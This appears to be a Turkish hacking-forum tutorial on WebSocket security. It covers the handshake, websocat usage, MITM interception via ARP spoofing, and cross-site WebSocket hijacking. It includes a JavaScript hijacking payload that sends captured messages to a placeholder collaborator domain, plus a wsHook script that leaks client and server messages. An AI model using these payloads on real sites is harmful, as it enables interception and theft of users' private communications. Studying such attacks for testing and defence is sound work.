    xhttp.send();
    return messageEvent;
}
r1qu971.png

Umarım faydalı bir içerik olmuştur.
Mavi tarafta kalmanız dileğiyle!
Elinize sağlık hocam :)
 

hoaydar

Yazılım Ekibi
18 Ocak 2023
489
412
/system32
f8l1281.png

İyi günler Türk Hack Team ailesi.
Bugün sizlerle beraber anlık veri transferi için çok yaygın kullanılan Websocket protokolü ve zafiyetleri üzerine konuşacağız.
PpUz4Fr.gif


Websocket Nedir?
r1qu971.png

WebSocket, internet üzerinde
hızlı ve etkili bir şekilde iletişim kurmamızı sağlayan bir teknolojidir.

İnternette sürekli bir şeyler paylaşan, sohbet eden ya da canlı bilgilere erişmeye çalışan biriyseniz, WebSocket sayesinde bu işlemleri çok daha hızlı ve sorunsuz bir şekilde yapabilirsiniz.
Örneğin, bir spor müsabakasını canlı takip ederken, oyunun her anını anında görebilirsiniz, çünkü
WebSocket sayesinde bilgiler hemen elinize ulaşır.
UYv4tVL.png

Ya da bir arkadaşınızla çevrimiçi sohbet ederken, mesajlarınız neredeyse
hiç gecikme olmadan karşılıklı iletilebilir.
İşte tüm bunlar, WebSocket'ın sürekli açık bağlantısı sayesinde mümkün olur.
Bu teknoloji, sadece hızlı değil, aynı zamanda verimli bir iletişim yolu sunar.

Geleneksel yöntemlerin aksine, b
ir kez bağlantı kurulduktan sonra, WebSocket bu bağlantıyı açık tutar ve bu sayede yeni bilgileri anında alıp gönderebilir.
Bu, özellikle canlı olayları takip etmek veya interaktif uygulamalar kullanmak isteyenler için büyük bir kolaylık sağlar.


Kısacası, WebSocket, internet deneyimimizi daha hızlı, daha akıcı ve daha etkileşimli hale getiren bir teknolojidir.
Bu sayede gerçek zamanlı bilgi alışverişi yapabilir ve dünyanın herhangi bir yerindeki insanlarla kolayca iletişim kurabiliriz.


Websocket Bağlantıları Nasıl Kurulur?
kR60R7gH_o.png


WebSocket bağlantılarının kurulumu, bir nevi
internet üzerindeki iki cihaz arasında hızlı ve sürekli bir iletişim hattı açmak gibidir.
Kzj0ORr.png


Başlangıç Noktası:
Her şey, bir web uygulamasının, tarayıcı üzerinden sunucuyla bir
WebSocket bağlantısı kurmak istemesiyle başlar.
Bu, genellikle kullanıcının bir web sayfasını açmasıyla tetiklenir.

El Sıkışma İsteği (
Handshake Request):
Tarayıcı, sunucuya özel bir HTTP isteği gönderir. Bu istek, bir WebSocket bağlantısı kurmak istediğini belirtir.
Örnek:
Kod:
GET /chat HTTP/1.1[/B][/COLOR][/CENTER][/B][/COLOR][/CENTER]
[COLOR=rgb(239, 239, 239)][B][CENTER][COLOR=rgb(239, 239, 239)][B][CENTER]Host: normal-website.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: rastgeleAnahtar
Sec-WebSocket-Version: 13







Sunucunun Yanıtı:
Eğer sunucu, WebSocket bağlantısını kabul ederse, tarayıcıya bir yanıt gönderir.
Bu yanıt, artık
normal HTTP yerine WebSocket protokolünü kullanacaklarını belirtir:
Kod:
[/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(239, 239, 239)][CENTER][COLOR=rgb(239, 239, 239)][CENTER]HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: birTürDoğrulamaKodu


Burada, 101 Switching Protocols kodu, iletişimin artık WebSocket üzerinden yapılacağını gösterir.
Sec-WebSocket-Accept,
sunucunun isteği doğruladığını ve bağlantıya hazır olduğunu belirtir.

Websocat ve MITM
kR60R7gH_o.png

Websocat, WebSocket protokolünü kullanarak internet üzerinde veri gönderip almak için kullanılır.
L1gHFj2.png

Bunu, online bir sohbet odası kurmak ya da bir web uygulamasının gerçek zamanlı işlevlerini test etmek gibi çeşitli amaçlarla kullanabilirsiniz.

Örneğin, var olan bir websocket protokolüne bağlanmak için aşağıdaki komutu kullanabilirsiniz.

Kod:
websocat --insecure wss://10.10.10.10:8000 -v
veya aşağıdaki komutla bir websocket serveri oluşturabilirsiniz.
Kod:
websocat -s 0.0.0.0:8000
GOHgexH.png

Eğer ağınızda, herhangi bir cihazın websocket ağına bağlandığını tespit ederseniz(
Wireshark, vb. araçlarla bunu yapabilirsiniz.), arp spoofing ve mitm teknikleri ile araya girerek saldırı vektörleri oluşturabilirsiniz.
Örneğin server, istemciye bağlanmaya çalıştığında aşağıdaki komut ile araya girebilirsiniz.

Kod:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Cross-site WebSocket hijacking (CSWSH)
kR60R7gH_o.png

Cross-site WebSocket hijacking (CSWSH) saldırılarında, bir saldırgan, bir kullanıcının WebSocket bağlantısını kötü niyetli bir site üzerinden ele geçirir.
Bu tür bir saldırı, kullanıcının orijinal bir uygulamayla güvenli bir bağlantı kurduğunu düşündüğü bir durumda gerçekleşebilir.
Aslında, kullanıcı, saldırganın kontrolündeki bir siteye bağlanmış olur.

Örneğin, bir kullanıcı, saldırganın web sitesindeki kötücül bir JavaScript kodu içeren bir sayfayı ziyaret ettiğinde, bu kod kullanıcının tarayıcısında çalışır ve WebSocket bağlantısını saldırganın sunucusuna yönlendirir.
Bu durumda, kullanıcı, aslında saldırgana ait olan bir sunucuya bağlanmış olur ve bu sunucu, kullanıcının bilgilerini çalmak veya diğer zararlı faaliyetlerde bulunmak için kullanılabilir.
6oFnQPB.png


Bu senaryo için örnek bir javascript kodu örneği:

JavaScript:
<script>
  websocket = new WebSocket('wss://your-websocket-URL');
  websocket.onopen = start;
  websocket.onmessage = handleReply;

  function start(event) {
    websocket.send("READY"); // Saldırganın sunucusuna gönderilen mesaj
  }

  function handleReply(event) {
    // Burada saldırgan, kullanıcıdan gelen bilgileri ele geçirebilir
     fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
  }
</script>

Bu senaryoda,
websocket.send("READY") kısmı, saldırganın sunucusuna bir sinyal gönderir ve kullanıcının cihazı üzerinden veri alışverişine başlar.
Bu, kullanıcının hassas bilgilerinin tehlikeye girmesi anlamına gelir.


Cross Origin ve Farklı Subdomain ile Cookie
kR60R7gH_o.png

Cross-Origin WebSocket hijacking (CSWSH) senaryosunda, bir saldırgan, WebSocket iletişimini gerçekleştiren bir alan adına benzer, ancak tam olarak
aynı olmayan bir alt alan adı kullanarak saldırıyı gerçekleştirir.

Bu tür bir saldırıda, saldırgan, kullanıcıların güvendiği bir web uygulamasının görünümünü taklit ederek, kullanıcıları kendi kötü niyetli sitelerine yönlendirir.
Bu durum, özellikle çerezler farklı alt alan adları arasında paylaşıldığında ortaya çıkar.
kYsi9Bk.png


Saldırgan,
hedeflediği orijinal web uygulamasına benzer görünümlü bir web sayfası oluşturur. Ardından, içerisine saldırganın sunucusuyla haberleşen WebSocket bağlantısı ekler.
Kullanıcı, bu kötü niyetli sayfayı ziyaret ettiğinde,
tarayıcı WebSocket bağlantısını açar ve kullanıcı bilgilerini, saldırganın kontrolündeki sunucuya gönderir.
Saldırgan, bu WebSocket bağlantısı üzerinden kullanıcının hassas bilgilerini ele geçirir.
Örneğin, bir kullanıcının mesajlaşma uygulaması üzerinden gönderdiği bilgiler, aslında saldırganın sunucusuna gönderilir ve bu bilgiler saldırgan tarafından kaydedilir.


JavaScript:
<script src='wsHook.js'></script>


wsHook.before = function(data, url) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "client_msg?m="+data, true);
    xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
    xhttp.send();
    return messageEvent;
}
r1qu971.png

Umarım faydalı bir içerik olmuştur.
Mavi tarafta kalmanız dileğiyle!
Elinize sağlık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.